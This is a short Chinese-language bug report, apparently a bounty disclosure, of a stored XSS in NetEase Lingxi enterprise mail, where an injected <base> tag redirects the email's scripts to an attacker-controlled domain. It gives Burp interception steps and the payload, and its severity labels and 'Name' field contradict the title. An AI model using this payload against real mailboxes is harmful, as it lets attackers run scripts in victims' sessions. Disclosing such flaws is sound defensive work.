中危:网易灵犀企业邮箱存在存储型XSS漏洞
Name
网易云课堂ai设计工坊存在文件读取漏洞
Weakness
xss
Severity
High, 8.5
Detail
网易灵犀企业邮箱对大部分xss进行了防御性过滤,但是漏掉了<base>
标签,该标签可以设定网页中所有的路径的base索引,例如script中的src的base路径,当src指向相对路径时,拼接上base路径的href域名才是script真正的下载链接。攻击者可以嵌入base标签,将邮件中的script指向任意网站的脚本,从而触发xss执行。
POC视频:
-
链接:https://pan.baidu.com/s/11lUQvwepL7cq6_UYkE1PQw
-
提取码:1314
Steps
-
首先注册两个灵犀企业邮箱, https://lingxi.office.163.com/ 。由于注册需要手机号验证,所以这里就不提供账号密码。笔者注册了两个账号供测试。账号A: tiankong@tiankong.ntesmail.com,和账号B: tiankong3@tiankong.ntesmail.com。
-
开启burp,通过账号A给账号B发送邮件,并且拦截发送邮件的请求。
burp拦截的发送请求:
可以看到请求体包含邮件的html格式文档,其中开头是head标签:
-
于是笔者想到head标签可以注入base来改变该文档所有css和script的目标,达到重定向的目的。笔者购买了一个独立域名并且配置了nginx网站: https://sunriseflowers2024.online/. 构造base标签payload:
<base href=\"https://sunriseflowers2024.online/\">
-
实施邮件体xss嵌入,首先开启burp的拦截模式:
拦截到post请求: https://lingxi.office.163.com/js6/s?_host=lingxi.office.163.com&func=mbox%3Acompose&sid=xxx ,对邮件html进行修改,嵌入base 标签xss payload:
注入之后点击forward,邮件发送成功
-
登录受害者灵犀企业邮箱,打开邮件,可以看到xss弹框出现。
-
注入点分析,可以看到base标签成功注入:
Impacts
- 直接发送邮件给受害者,受害者打开邮件后即可完成xss攻击